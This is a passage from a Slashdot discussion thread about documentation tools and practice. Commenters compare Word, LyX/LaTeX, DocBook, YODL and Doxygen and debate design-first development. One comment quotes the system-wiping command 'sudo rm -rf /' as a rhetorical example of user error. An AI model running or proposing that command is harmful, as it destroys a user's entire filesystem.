    80. Re:PEBKAC by Anonymous Coward · · Score: 0

      Read the post again.

    81. Re:PEBKAC by Anonymous Coward · · Score: 0

      Too many people blame the user when something on a computer goes wrong, even if it is probably due to a genuine software bug. Developers must have it easy.

    82. Re:PEBKAC by Anonymous Coward · · Score: 0

      Not that Word should crash when it contains 100MB of BMP graphics, but this problem is easily avoidable.

      Just convert your screenshots to JPG or PNG and insert them into Word using the Insert Picture command. With a much smaller filesize, it will work much more reliably.

    83. Re:PEBKAC by Anonymous Coward · · Score: 0

      PowerPoint comes with a PhotoEditor tool which can scale down images. I'm sure that a team of top shelf MS marketeers looked into destructive scaling and decided it was a bad feature to have in the core product. See thread title.

    84. Re:PEBKAC by Anonymous Coward · · Score: 0

      So if I do 'sudo rm -rf /' and my system breaks it's the fault of a Developer?

      You are damn right it is. Why is that command there? So that it can never be used? Whoever wrote that program to remove everything made a very poor decision. If they wanted to do it properly they whould have checked for any existing apps that were running or open files, etc. and refuse to run unless those situations were corrected.

      The "registry" should not be able to be "mucked up" if it is so vital to the OS. There are ways around these issues if the "developers" properly designed things.

      Your comments about removing cards simply shows that you can't read what the previous writer said. But then again judging from your childish name calling you are probably still sucking on your mother's teat.

    85. Re:PEBKAC by xtremex · · Score: 1

      KDE w/ Linux (Kword) saves directly to PDF. You can configure ANY software to be asaved to pdf. Plus, there are plenty of command line tools that the output can be piped to that'll convert to pdf (txt2pdf is one)

      --
      If you're not a Liberal in your 20's, then you have no heart.If you're still a Liberal in your 30's you have no brain.
    86. Re:PEBKAC by Anonymous Coward · · Score: 0

      No your wrong, if you overlock you PC to 155BUSS, on 133 rams then you cant gurantee any thing.

      An APP could depend on 3rd party libs, that could be buggy.

      Virii could cause system badness too...

      So grow up dude, word never crashes, its gnome that crashes more, all those GIGS of CORE files...................

    87. Re:PEBKAC by Anonymous Coward · · Score: 0

      Although some people here do not understand this, TeX is a document formatting language. If we use TeX to write a document, the output is known and will not change on different systems. If we use sgml, xml, or whatever the markup of the day is, we trade what is known for whatever the system feels like rendering that day. So the choice is simple; if the final goal is a printed document, we use TeX; if the final goal is to render to an unknown device, we use sgml.

    88. Re:PEBKAC by Anonymous Coward · · Score: 0

      Well, my experience with word, from 6.0 to 97 is completely different.
      If you write even a 4 page scientific paper, with more than 1 picture per page you are asking for trouble.

      (i have seen the same problem with WP).

      In my opininion word processors are *just* that. If you try something more difficult, then they are prone to crash. (Forget about writing a measurement report without crashing, At least up word 97, it just doesn't like dealing with 3 pics on one page.)

      Solution?
      Use a DTP program, as for example Pagemaker. Or use latex (which i do now, though the purists will denounce me for using a graphical frontend :-) : Lyx)

    89. Re:PEBKAC by Anonymous Coward · · Score: 0

      analogies are not proofs. they are just rhetoric instruments.

    90. Re:PEBKAC by Anonymous Coward · · Score: 0

      analogies are not proofs. they are just a rhetoric instrument. btw: if your car crashed as often as your computer, would you complain ?

    91. Re:PEBKAC by Anonymous Coward · · Score: 0

      analogies are not proofs. they are just rhetoric instruments. are you one of the few fortunate persons that never experienced unwanted crashes ?

    92. Re:PEBKAC by SnapShot · · Score: 2

      Not to split hairs, but what you've described is not a crash. I'd call it sabotauge and place the responsibility squarely on your shoulders.

      For all the literalists out there, the quote "If an application crashes, it's the developer's fault. Period. End of story. It is NEVER the user's fault" is the correct response to any developer including (especially) myself who says "well, no wonder it crashed, you weren't supposed to do 'x' you were supposed to do 'y'; I didn't program it to be able to do 'y'."

      Part of being a good developer is anticipating and protecting against the "wrong" ways people are going to use your program. You protect against memory leaks and try to make sure all the files get closed if the user accidentially kicks the power cord out of the wall. In the absence of perfect programming (i.e. all software currently in existance) you try to get enough information to the user that he may try and recover from the error.

      --
      Waltz, nymph, for quick jigs vex Bud.
    93. Re:PEBKAC by josh253 · · Score: 1

      Um, yeah. That was a response to the obviously stupid remark that if windows/word crashes regularly, it is the user's fault. Incidentally, I do agree that Word is a good product.

    94. Re:PEBKAC by 3am · · Score: 2

      sorry, i misread it. in any case, i'll stick to textpad whenever possible :)_

      --

      A: None. The Universe spins the bulb, and the Zen master merely stays out of the way.
    95. Re:PEBKAC by Isofarro · · Score: 2, Interesting
      look at the other comments. a lot of people have used word, and it's worked well for most of them. myself included.


      I find word very cumbersome when trying to format documents correctly. Though earlier this week I found a cute way of formatting documents properly in Word:

      I use a wiki for my own documentation - nice simple stuff like == 2nd Level Heading == and a few in-line HTML tags.

      I then copied the htmlised text from IE5, pasted it straight into word - self formatted - looked like any other document we have here.

      The bonus of this trick is that I've built myself a wiki to DocBook converter (partial at the moment), so my wiki is a neat document management system that I can use from any web browser.

      I'm a big fan of wiki's - its a useful catch all solution
    96. Re:PEBKAC by einhverfr · · Score: 2

      Saying that it's the code's fault is like saying that automobiles should be built to withstand a 150 mph impact, afterall, it's not the operators fault that they drove at 150 MPH into a brick wall, the car should have been built to withstand it.

      So, I suppose autos should not be designed with crashes in mind?

      But a program crashing is not the same thing. For the most part, crashes happen because the program is trying to do something it is not allowed to do-- to follow your analogy, the car is driving itself into the brick wall. This usually occurs because the data is not being validated (not checking to see if the pointer is NULL, of if the data written is the same size as the data expected).

      --

      LedgerSMB: Open source Accounting/ERP
  2. Out of curiousity by Sheepdot · · Score: 5, Insightful

    Just out of curiousity, what are you writing documentation for? I myself would approach the problem according to what kind of software it was, and who the intended audience was.

    1. Re:Out of curiousity by twms2h · · Score: 1
      Just out of curiousity, what are you writing documentation for? I myself would approach the problem according to what kind of software it was, and who the intended audience was.
      It is lots of different documentation that is required for ISO 9000 certification. It ranges from specs to test documentation to manuals.
      The software also covers quite a large range from bespoke software for specific customers to a standard package for the pharmazeutical industry.
  3. A point about M$ word by Anonymous Coward · · Score: 5, Insightful

    It will do versioning. See the menu file/versions

    1. Re:A point about M$ word by Anonymous Coward · · Score: 1, Informative

      Word's versioning is awful. Documents often corrupt because of it. Also, the "latest version" of your document contains ALL revisions of the document, leading to huge files. Did you save 50 times? Then your .doc will be 50x larger than it should be.

    2. Re:A point about M$ word by Gzusfreak · · Score: 0, Troll

      My washing machine will do dishes too, but they'll probabally come out broken... Hey same with Word... it does versioning, but it'll probablly come out broken.

    3. Re:A point about M$ word by pmz · · Score: 1

      Do you trust it?

      Plain text or LaTeX files under SCCS or CVS works even better and the files will never become corrupted. Lose a few bits in a Word file, and you are screwed.

      Why is it that I feel like I'm moving backwards in time whenever I use Microsoft products?

    4. Re:A point about M$ word by Anonymous Coward · · Score: 0

      Only a complete moron would think that revision control belongs in the word processor. Stupid design for stupid people. BTW, my truck playes CDs though when I hit a bump they sometimes skip.

    5. Re:A point about M$ word by Florian+Weimer · · Score: 2

      And Word versioning is compatible with which configuration management systems?

    6. Re:A point about M$ word by jnana · · Score: 1
      I believe that this only occurs if you 'fast save' enabled, in which case it saves the changes each time after the first. It still wouldn't be 50x the size, but it would be larger than it should be.

      I read an article a while ago, could have been on /., about the privacy implications of this microsoft 'feature', given that things that have been deleted could be recovered with the use of your favorite simple text editor. For example, a word document with confidential financial information that was 'deleted' would still be in the document in ASCII someplace after you sift through all the binary garbage. Something to think about if you use MS Word.

    7. Re:A point about M$ word by Anonymous Coward · · Score: 0

      > And Word versioning is compatible with which configuration management systems?

      Any one whose repository correctly handles binary files.

    8. Re:A point about M$ word by BoneyM · · Score: 1

      It will integrate with Visual Sourcesafe very nicely via a plugin set of menus. No doubt CVS would be possible also, since it's just a set of command-line executions? Just don't put $Revision: $ in there as it falls apart. You have to use $Revision:: [enough spaces] $. Then it works fine... Martin

  4. boop! by nege · · Score: 1

    the choice is obvious padawan.... vi. may the source be with you.

    1. Re:boop! by Anonymous Coward · · Score: 0

      that's great, except vi isnt a documentation language ;-) besides, what's wrong with EMACS? btw: this is NOT to start a vi vs. emacs holy war - i use both ;-) Polymorphic Anomaly [polymorphic@leeding.net]

    2. Re:boop! by Anonymous Coward · · Score: 0

      Yeah, besides vi isn't open source. :-) vim is. Just because you might type vi to start it doesn't make it vi! Run vi --version to see for sure (or vi -v)

  5. try YODL by CommanderTaco · · Score: 5, Informative

    the samba guys used to use YODL before they switched to docbook. pretty easy to use, and you can convert to other document languages including html, latex, etc.
    http://www.xs4all.nl/~jantien/yodl/

    1. Re:try YODL by Anonymous Coward · · Score: 0

      We used YODL for all the documentation for the Coral Tree Library Set. We produced both web pages and printed documentation. I still have the manuals on my shelf.

  6. LYX by ocelotbob · · Score: 5, Informative

    Have you tried LyX? It's a very powerful multiplatform typesetting program. Seems to do everything you want it to do.

    --

    Marxism is the opiate of dumbasses

    1. Re:LYX by ryk · · Score: 1

      LyX is great, produces documents in ascii, dvi, html, ps, latex and pdf formats, and lets you take advantage of much of what you can get from TeX and LaTex without too much effort. You can even use it on a Windows box if your employer or habits or some twisted aesthetic principle requires you to.

    2. Re:LYX by StCredZero · · Score: 1

      Does this support hyperlinks? I think you'd want something like that for modern doc.

      I think a friend of mine used to use this back in 1995 to simultaneously support printed/web versions of documents in his one-man consulting busimess. If this is indeed the same package, then it's likely to be quite mature.

      M$ Word also supports features like this. (Structure oriented document writing) But Word lets you cheat and also do traditional word processing stuff.

    3. Re:LyX by JHillyerd · · Score: 1

      I love LyX. The xforms user interface is very clunky, but the printed output is always very professional looking. It helps keep your documentation consistent, and saves you from wasting time fudging with formatting.

    4. Re:LYX by Goner · · Score: 1

      Yeah, it can do hyperlinks. I like it.

    5. Re:LYX by Danse · · Score: 1

      Word's structure features are HORRIBLE and break very easily. I'm speaking from experience with Word97. I haven't heard about any improvements since then, and I swore off ever using it for such things again.

      --
      It's not enough to bash in heads, you've got to bash in minds. - Captain Hammer
    6. Re:LYX by KerrAvonsen · · Score: 1

      Let me add my vote to the LyX camp. I too wanted to be able to produce documents which I could have in both print and PDF format. I too had considered LaTeX and had been repulsed by the learning curve, and decided to stick with what I was using a little longer (it so happened I'd been using M$ Publisher and Adobe Acrobat, rather than M$ Word, but the principle is the same.)

      Then I disovered LyX.

      LyX enables one to have all the power of LaTeX without having to overcome a huge learning curve. Even if you do know LaTeX, it's still cool because it relieves you from the tedious bits of LaTeX coding, but you can still use LaTeX code where you really really need to.

      But I'm not going to pretend that it's all roses. LyX also shares some of the more annoying limitations of TeX/LaTeX. (The most annoying being the complete non-ease of using other-than-the-default fonts) as well as its strengths.

      On the other hand, if you're using it to produce documentation, then you will run into less problems than I did, because you won't be trying to bend it into a shape which it isn't oriented towards (me, I was making a fiction fanzine, not a technical manual).

      If you want to find out more, here's my LyX page where I lay out some of the problems I ran into and how I overcame them.

      --
      -=- Say it with flowers. Send a Triffid. -=-
    7. Re:LYX by muleboy · · Score: 1

      One more vote for LyX here...

      I have used it for about six months now for medium-size (50 pages) technical documents in graduate school. I have had great success with it all except one occasion when it would not load the document without segfaulting. I have dozens of macros in the document, though, and when I moved them around (the .lyx source files are ASCII text) it fixed the problem.

      It has all the power of LaTeX, and can be picked up in a couple of days. You can send PDFs to people and generate web pages.
      I haven't used it much with CVS, but since the .lyx source files are basically just LaTeX with some additional macro thrown in, I'm guessing it would work well.

    8. Re:LyX by Antity · · Score: 1

      I love LyX. The xforms user interface is very clunky, but the printed output is always very professional looking.

      You may want to have a look at LyX with KDE user interface (KLyX) then (no binaries there; try this klyx page on rpmfind.net).

      The LyX people write that it is currently unmaintained, but the last version I tried worked quite stable.

      --
      42. Easy. What is 32 + 8 + 2?
    9. Re:LyX by Dekel · · Score: 1
      You may want to have a look at LyX with KDE user interface (KLyX) then (no binaries there; try this klyx page on rpmfind.net).

      The LyX people write that it is currently unmaintained, but the last version I tried worked quite stable.

      While KLyX is stable, it doesn't contain the new features that were added to lyx in the recent years, so I recommend not to use it.
      Hopefully, a qt2 version of LyX will be released this year.

  7. I think everyone agrees that... by Eharley · · Score: 1

    If it was hard to write it should be hard to understand.

    1. Re:I think everyone agrees that... by Monte · · Score: 1

      If it was hard to write it should be hard to understand.

      No, no - that's why you don't comment. You don't document because written documentation is an admission of failure.

  8. Check out doxygen by plalonde2 · · Score: 5, Informative

    Doxygen lets you mark up your source code pretty easily, and generates decent looking documents. You can use the same markup (and cross-reference facilities) in non-code documents processed at the same time.

    1. Re:Check out doxygen by yem · · Score: 1

      Yes, for source code go with something like doxygen or java's javadoc system.

      For other documentation, I'd go with an SGML based system like DocBook which you can then transform with a known tool or your own XSLT into whichever format you want. Eg the same "source" document can produce an HTML version for the intranet and an RTF version for printing.

      --
      No, I did not read the f***ing article!
    2. Re:Check out doxygen by notsoanonymouscoward · · Score: 1

      yes doxygen is your friend =) if you've seen javadoc, its quite similar.

      --
      I ate my sig.
    3. Re:Check out doxygen by mcspock · · Score: 1

      indeed, we have used doxygen on projects here. most of the open source/sdk style packages we have worked with have also been documented with doxygen. very good product.

      --
      -- Patience is a virtue, but impatience is an art.
    4. Re:Check out doxygen by nodrip · · Score: 1

      doxygen doesn't do c code very well, and it doesn't seem to handle c structure definitions very well either. it's primariliy aimed at c++ code i think.

      2c

      --


      -- "The best way to predict the future is to invent it."
    5. Re:Check out doxygen by Manoj · · Score: 1

      Hi,

      I whole heartedly second this. Doxygen generates great documents, and it also generates great eye candy for class heirarchies and include graphs. It is also flexible enough to allow you to add external documents into the result. For example, the code documented here contains referemces to XML schemas and XSLT tranform files used by the software, as well as README files that you expect to find in the source tree. Just go to any header file (under file list) and look at the graphics.

      This is the first time I have found the literate programming paradigm hassle free enough to actually implement and carry though in a project.

      manoj

      --
      Manoj Srivastava Key C7261095 fingerprint = CB D9 F4 12 68 07 E4 05 CC 2D 27 12 1D F5 E8 6E
    6. Re:Check out doxygen by gpinzone · · Score: 1

      This looks great, but why not just use Javadoc? Javadoc works with C++ too as long as you keep the comment your code the same way.

    7. Re:Check out doxygen by dannu · · Score: 1

      doxygen is far superior to javadoc. and it
      can do java too :-)

    8. Re:Check out doxygen by WasterDave · · Score: 2

      Me too! I've used doxygen in real world projects, and managed to convert my source with scratty "when I feel like it" comments over to lovely shiny HTML docs that nobody will ever look at in, ohhh, a day? About that.

      Dead easy and doesn't interfere with writing code.

      Dave

      --
      I write a blog now, you should be afraid.
    9. Re:Check out doxygen by gpinzone · · Score: 1

      Okay, but WHY is it superior? From the examples shown, it looks like an inferior JavaDoc clone to me. Who cares if it does formats other than HTML?

    10. Re:Check out doxygen by yugami · · Score: 1

      people who want something besides html?

    11. Re:Check out doxygen by Karellen · · Score: 3, Informative

      Doxygen is great for producing API references with source code cross-references, if that's all the documentation you need. I've no problems with it there. It rules.

      But for user-level documentation, or even developer-level general overviews of source organisation, resource ownership policies, etc..., I'd have to say it's not the idea tool for that. But then, that's not really what it was designed for.

      I'd take a closer look at Docbook and the fairly large set of untilities that exist for converting it to HTML, TeX, man, texinfo, etc... Check http://www.oasis-open.org/docbook/

      When doxygen's xml/docbook output format is sorted, even this could be moved that way too...

      K.

      --
      Why doesn't the gene pool have a life guard?
    12. Re:Check out doxygen by TheMiller · · Score: 1

      I'm also using doxygen at work, generating HTML and occasionally RTF. I'm very pleased with it. It has a few rough edges, but ongoing development is very active. Each release brings bug fixes and improvements.

    13. Re:Check out doxygen by Raving · · Score: 1

      I use Doxygen also, and I love it.

      May I precise that, even it it can be fooled into generating any kind of document, its main purpose is in documenting source code ? It then exports to HTML, RTF, LaTeX, man, info, you name it. Oh, and it parses at least C, C++ and Java, probably other langages too.

      The interesting bit is that they didn't try to reinvent the wheel : the documentation is just a specific kind of comment (/*! My doc */ or //! My doc in C++) which is parsed by doxygen, which associates it with the following language entity (class, member, function, whatever). If you need more subtleties, specific commands can be embedded in those comments also.

      The parser understands QT's and javadoc comments, also, so the switching from those will be a non-brainer.

      Olivier.

      --
      Singularity stupid: stupid gotten so dense that no intellect can escape
  9. Doxygen by Anonymous Coward · · Score: 0

    I've used Doxygen with good results. It has various output formats (HTML, RTF, man, etc.).

    http://www.stack.nl/~dimitri/doxygen/

  10. what kind of documentation? by SirSlud · · Score: 2

    full disclosure: I hate documentation (unless its in other people's code ;) and I've been able to luck out in working at places where we need the code written so fast that documentation is an afterthought.

    what about javadoc (is it still called that)? it's good for turning well-formatted function summaries into browsable HTML ....

    Are we talking API documentation here, or real-world english implementation documentation? if you're looking for just a good ASCII editor, straight off, ultraedit is easily my favorite, but if you are looking for stuff to skim your source and rip out inline documentation, obviously, thats not what you're looking for. but javadoc might be?

    --
    "Old man yells at systemd"
    1. Re:what kind of documentation? by sid_vicious · · Score: 1

      what about javadoc

      Well, javadoc works great.... if your code is written in Java!

      :-P

      --
      If it ain't broke, it doesn't have enough features yet.
  11. And the solution is ... by Anonymous Coward · · Score: 1, Informative

    I have the same "problem" and I use XML for the document source. Using XSL (xalan/xerces or any other xsl/xml library) I transform it into HTML, PDF, ...

    A perfekt solution!

    1. Re:And the solution is ... by Anonymous Coward · · Score: 0

      What do you use for XSL:FO to PDF?

    2. Re:And the solution is ... by Anonymous Coward · · Score: 0

      Cocoon2 would be the right tool for the job (http://xml.apache.org/cocoon/). It works really great!

    3. Re:And the solution is ... by Anonymous Coward · · Score: 0

      Too many docs, too little time.
      So i also chose a base-document solution. Using XML with XSL(T), to turn out txt/(x)html/pdf/excel/word/etc..

      Txt/html/pdf i could do, and i needed only a little research into excel & word formatting. Which can be found somewhere(!) on the msdn.

      great advantage is that i can now give my clients the choice of their favorite reader:) (before this i did standard txt).

  12. Docs?!? Feh... by Wee · · Score: 1, Offtopic
    Documentation? See the README for what I think of documentation.

    -B

    --

    Ash and Hickory, straight-grained and true, make excellent bludgeons, dandy for the cudgeling of vegetarians.

  13. Documentation is not evil! by deblau · · Score: 5, Insightful
    In fact, in most projects, documentation is more important than the code itself! This rule holds for all programs you intend for someone other than yourself to run (or, heaven forbid, debug later). My general rule of thumb for doing projects is:
    1. Do feature reqs (10%)
    2. Do design spec / unit spec (30%)
    3. Do documentation (30%)
    4. Write code (15%)
    5. Beta-test / debug (15%)
    Notice that design and documentation take up more than half the time on the project. Implementing the code becomes very easy with good, fleshed-out design and documentation.

    As for solving your problem, I generally write documentation in-code using one style of comments and line-by-line comments using another style. Then forming docs from the code is easy: write a little perl script to extract the block comments, and format as you like.

    --
    This post expresses my opinion, not that of my employer. And yes, IAAL.
    1. Re:Documentation is not evil! by tagevm · · Score: 1

      Excuse me? You spend half the time documenting (nothing wrong with that, more people should do that), but you write the documentation as comments to the code you haven't written yet??? Am I missing something?

    2. Re:Documentation is not evil! by Anonymous Coward · · Score: 1, Informative
      You're absolutely right, documentation is THE most important part of a project. I think in-line documentation is the best for doing it.


      If you're interested in in-line documentation extractors and processors, which I recommend, check out JavaDoc (which ships with the JDK), and it's C++ equivelant, DOC++. Both are very easy to learn. I've found the quality of my documentation has doubled since I've started using these tools. They allow you to write docs at the same time you write code, in the same files. It also gives you the feeling that you're writing the documentation for a purpose, rather than just "bolting it on" afterwards.


      Good luck.

    3. Re:Documentation is not evil! by RC514 · · Score: 1

      That's a good approach because it helps the programmer understand what the part of the program he is working on is supposed to do. We are not talking about comments like
      // add 1 to x
      here. The downside is that sometimes the code needs to take a different approach compared to what was planned before. At that point the documentation easily becomes inconsistent, because it is there already, so it won't be noticed that something is missing. It takes discipline to avoid that trap.

      --

    4. Re:Documentation is not evil! by Stonehand · · Score: 1

      Well, it makes sense if you document assumptions and algorithms, at least in sufficiently complicated non-self-documenting code. Taking enough time to organize your thoughts so that they're in coherent comments may make it easier to actually implement, since you've mentally done the organization already.

      --
      Only the dead have seen the end of war.
    5. Re:Documentation is not evil! by FortKnox · · Score: 5, Insightful

      but you write the documentation as comments to the code you haven't written yet

      ABSOLUTELY!
      You should design every object and every function (down to what the functions input and return are) before coding everything. You should be able to write comments on the function (on the function, not in. Even having stubs for the function) before it is written. Then, you know EXACTLY what the function needs to do when you code it. You even have a nice reference doc for your teammates (if you use javadoc with java).

      I've taken this approach MANY times, and I can't tell you how SIMPLE it is to code with this. Its like a homework assignment "Write a function foo, that takes two integers, adds them, and returns it as a real". The code practically writes itself. And the project manager usually doesn't have any trouble tying all the objects together.

      I might as well add that this is a great technique to make open source work well and fast.

      --
      Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
    6. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      Are you a first year CS student, or a CS professor? Those are the only groups of chumps that I have ever heard stuff like that from

    7. Re:Documentation is not evil! by MaxwellStreet · · Score: 2

      It sounds excessive, until you think about it.

      If you've figured out exactly what every button and form and screen looks like, how they fit together, and how the program will work before you've written a line of code, chances are the coding will go very smoothly.

      Prototype the GUI to create the screen shots, and write the documentation. It'll force you to think the entire application through before you start building.

      This isn't the first time I've heard of this methodology, and it's not as crazy as it sounds.

      In a way, it's kind of like UML - writing all those nine different kinds of diagrams before you start coding - by the time you get to the code, it's all pretty much filling in the blanks - all figured out.

      UML is the better way to go, in my experience - you architect the system in advance on a much deeper level than writing user documentation.

    8. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      Moderator wake-up call:

      This comment is completely on-topic.
      It is everybody's favorite task, the worst part of programming: writing the documentation.

    9. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      i am skeptical. 15% on beta test/debugging? 10% on features/requirements? these are equally important to documenting. the only way your #s make any sense whatsoever is if someone else is doing the 1st and last step for you (very possible in a production environment)

      i hate to say this but probably most of the important qualities of product comes from these steps rather than docs

    10. Re:Documentation is not evil! by DrSkwid · · Score: 1

      hmm, how does this fit in with "be ready to throw one away, you will anyway"

      source code level documentation isn't the documentation for the app though is it?

      I suppose it depends on the app, there are many levels of documentation.

      --
      There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
    11. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      AC wake up call:

      No, it is advocacy FOR documentation and is nothing to do with the question: How best to DO documentation.

    12. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      Advocacy FOR documentation isn't on-topic considering 'writing documentation is the worst part of programming' is in the article? Sorry, my bad.

    13. Re:Documentation is not evil! by Dominic_Mazzoni · · Score: 2

      Sure, there are lots of circumstances where you know what you're trying to write and you can design the whole program before writing a line of code.

      But that doesn't work at all when you're trying to come up with a new algorithm, experiment with different user interfaces, extend an existing program to do more things, or any one of a number of tasks where you have to "get your feet wet" coding it for a while before you can clearly see the design.

      I'm a big fan of rapid prototyping. In my opinion, there's no better way to figure out the best way to program something than to start writing some code.

      This does NOT mean that you shouldn't go back and document the code (both with inline comments and external documentation), I'm just trying to argue that it's easy to fall into the trap of overdesigning a program initially, before you really understand the coding tradeoffs you might have to make. Also, there's nothing worse than a fully documented program where the documentation is wrong! I've seen too many cases where the documentation says one thing, but the code does something different because later the programmer realized she needed another argument to a function, and threw it in without fixing the docs.

      I guess in my opinion it's not a question of "document, then code", or "code, then document". I have to go back and forth between the two all the time. Initially I write out a short design just so I'm clear what the main goal of the program is. Then I start writing some code. Then I go back and start documenting the parts I coded well, and redesigning the parts I need to redo, in greater detail, and so on.

    14. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      That's assuming feature requirements don't change at the last minute, or you run into techincal difficulties or anything else that wasn't forseen.

      Look, it's like Scott Adams said, you can either do the work, or fool people into thinking you're doing the work. Both take the same amount of time, one gets compensated. Go work for a big company - they'll love you.

    15. Re:Documentation is not evil! by coldtone · · Score: 2, Interesting

      I had enough of this argument. Its simply crap, and is always written by non programmers, or by programmers who are not responsible for delivering the real product.

      Lets look at how a house is built, is all of the time spent in spec and design. Do they write a document outlining how the tub will be installed in the top floor bedroom?
      No, they provided a picture of what they want. (Detailed mind you, but still is just a picture.) From that the construction company builds it. The builders never get a step by step checklist.

      But when it comes down to documentation (At my company at least) They want everything, what classes are there, what methods, how the code will be written, yada, yada, yada.

      While this information might be interesting, it is not useful! It means nothing to the end product, or to even maintenance of the code. If you have done any type of maintenance to code you know the only way to do it is to read the code!

      As long as you have a clear picture of what to build you can create the product, and then SELL it! Excessive documentation only slows the development process and adds to a company's bureaucracy.

    16. Re:Documentation is not evil! by RC514 · · Score: 1

      Rapid prototyping is a great aid in finding the requirements and the overall structure of the code, no more, no less. After that, you document what you have found, throw the prototype away (keep it for reference maybe, but it should not be used in production) and code the real thing. The sad thing is, in real life pointy haired people jump in after the prototype has settled and cut the rest of the development because "it's already good enough".

      --

    17. Re:Documentation is not evil! by Anonymous+Brave+Guy · · Score: 5, Insightful
      You should design every object and every function (down to what the functions input and return are) before coding everything.

      Sorry, gotta disagree with that. The place of design docs is not to mandate the details, like the exact function inputs and outputs. The place of the design docs is to paint the big picture, perhaps down to assigning the responsibilities to the major building blocks of your code (principle functions, classes, etc.).

      Requirements change. This is a fact of life. No real project I've seen since I was a student had requirements that stayed fixed, or even close to fixed, during a whole development cycle. As a result, your design must change.

      Furthermore, your initial design will probably be flawed in many ways you don't anticipate until you start trying to implement it. Unless you're copying an algorithm out of a textbook or a design you've used before, you'll be lucky to be even close to your final design on your first pass. As a result, your design will evolve.

      If you attempt to record every little detail in the design docs, two things will happen. First, you will cripple the pace of development, as you spend more time updating paperwork than you spend developing. Secondly, your design docs will rapidly become out of date, and hence useless anyway.

      The correct place for comments about the details is in the code. This is where you should record the exact input/output parameters of a function, the behaviour in error cases or the meaning of a little helper function. A combination of descriptive names for things and judicious use of comments will do far more for you than a 500 page printout of last month's code base.

      Making your code its own detailed documentation allows for fast prototyping -- often the quickest way to find a good basic design -- and for ready modifications as the design evolves. This leaves design docs free to do what they should: recording the overall design.

      Welcome to the 21st century, where the waterfall model dried up.

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    18. Re:Documentation is not evil! by esper · · Score: 1

      Yup. When it comes to prototyping, rapid or otherwise, just about everyone forgets the most important step: Throwing the prototype away.

      Plan to throw one away; you will, anyhow. - Fred Brooks

    19. Re:Documentation is not evil! by GodInHell · · Score: 0

      At what point does documentation become the beginings of coding? I've noticed a tendancy with myself that my best documents start as feature lists, extend into full english problem break-downs, morph into solution concepts, finally a bit of psuedo-code, and at last either C++ or Perl, depending on the app. (obviously with C++ the switch over is just a wee bit more obvious as I start cutting up psuedo-code into object bits.)

      Bear in mind, I'm still at the 'play with code' stage, and don't do this for a living yet. Still, the back-end update and file management tools for my web-page are finally coming up to speed. (my target is to have a system so simple my mother can maintain it.. which is good, because she probably will. ;) )

      I sense a disturbance in the topic.. I believe it has left me. it's so easy to fall to the dark side.

      -GiH

    20. Re:Documentation is not evil! by Boatman · · Score: 1


      I tried this until I realized that I can't see the future. Extreme programming works much better for me. Test first, then code to pass the test case, then design by refactoring the code if necessary.

      --
      --Just the place for a snark!
    21. Re:Documentation is not evil! by battjt · · Score: 1
      If you've figured out exactly what every button and form and screen looks like, how they fit together, and how the program will work before you've written a line of code, chances are that you are still in school.

      How can you design a system with 200,000 LOC in English?! Use code for what it is good at.. describing detail. (Of course, you should use English and UML to describe design.)

      --
      Joe Batt Solid Design
    22. Re:Documentation is not evil! by j3110 · · Score: 1

      You are correct where a time limit is impossed(always) and functionality is more important than documentation(not very often). The big problem occurs when you are writting a library or object that you will have the urge to break compatibility with other code. This is why documentation should come first in most cases. After the documentation, you should implement test cases that force that the code work the way you said it will. Obviously unit tests are valuable (see eXtreme Programming for the reasons such as automated testing). The point is, design of projects, while not being static, needs to be consistent and backwards compatible. GREP won't even save you much time finding all occurances of a given method to fix how it is used when you aren't the only author. The best solution is never tamper with the documentation unless it's really flawed; Only add unit tests or functionality. If you start mutating the code to fit the design you could break more than fix. If you have up to date documentation, you can find what you need much quicker than browsing millions of lines of code. Any project large enough will save time from good documentation from the beginning. (assuming stability is an absolute requirement)

      --
      Karma Clown
    23. Re:Documentation is not evil! by cfulmer · · Score: 2

      I'm not sure if this was tongue-in-cheek or not.

      One of the problems with this method is that it assumes that you know in advance how everything works -- all too often, this isn't the case, and so you end up iterating over your design. For some projects, it may work well, but for others.... ick.

      On the other hand, you definately want to have a basic plan-of-attack (ie "this is how I think it's going to work, more-or-less. Here are the key abstractions and here's how I plan to manipulate them") in a format that other people can look at and review -- the point here is to allow other people to catch problems in your approach *before* you commit all the time putting it in code.

      As far as how to write documents -- I do as much documentation in *emacs* as I possibly can. (*Gasp* they say). I draw out diagrams long-hand. Once all that's done, I put it into the tool (Adobe FrameMaker in our case). The point here is that it prevents me from being distracted by formatting (ie "how it looks") and concentrate on content ("what it says.")

    24. Re:Documentation is not evil! by Kiwi · · Score: 2
      But when it comes down to documentation (At my company at least) They want everything, what classes are there, what methods, how the code will be written, yada, yada, yada.

      And I do not blame them. I have been on more than one project where I was put in the position of having to decrypt over 100 pages of poorly written code, without a single comment in the entire code. They are trying to insure the code is maintainable, because a lot of programmers do not write maintainable code.

      - Sam

      --

      The secret to enjoying Slashdot is to realize that it should not be taken too seriously.

    25. Re:Documentation is not evil! by Anonymous Coward · · Score: 0

      if it takes 30% to write docs then either you are a slow ass typer, or write so ambiguosly that you have to write a 95 page doco for 'pwd'

      design + proto typed code + spec are all done
      overlayed somewhat.

      Then the code is finalized with perhaps added features and specs updated and docs finalized from spec/draftdocs.

      in gtk's case, thats 1% documentation

    26. Re:Documentation is not evil! by dubl-u · · Score: 2
      I had enough of this argument. Its simply crap, and is always written by non programmers, or by programmers who are not responsible for delivering the real product.

      Hi. I'm a programmer. I've been programming for money since I was 16. I deliver.

      I agree that excessive documentation is bad. And that many companies have official policies that, if actually followed, would result in excessive documentation. Know why they have those policies? Because most programmers don't write enough documentation.

      (That's ok by me; I bill by the hour, and I charge extra when dealing with a steaming pile undocumented code. And the hours rack up quickly when I have to step through code in the debugger just to figure out what the hell it does. Attitudes like yours have made me hundreds of thousands of dollars over the years.)

      If you have done any type of maintenance to code you know the only way to do it is to read the code!

      This sounds persuasive, but it's several different kinds of bullshit rolled together. Yes, you do have to read the code to do maintenance. But good docs speed that process up immensely.

      Personally, I find that projects with good basic docs generally have good design behind them. Projects that have no docs whatsoever usually have designs that make train wrecks look organized.

      -----

      When I do maintenance, I like to see five different things:
